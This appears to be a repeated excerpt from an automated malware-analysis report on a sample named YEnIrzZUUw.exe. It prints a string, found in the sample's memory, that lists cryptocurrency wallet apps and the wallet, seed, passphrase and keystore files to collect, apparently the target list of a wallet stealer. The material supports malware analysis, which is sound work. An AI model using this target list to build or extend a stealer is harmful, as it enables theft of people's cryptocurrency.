Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: YEnIrzZUUw.exe, 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
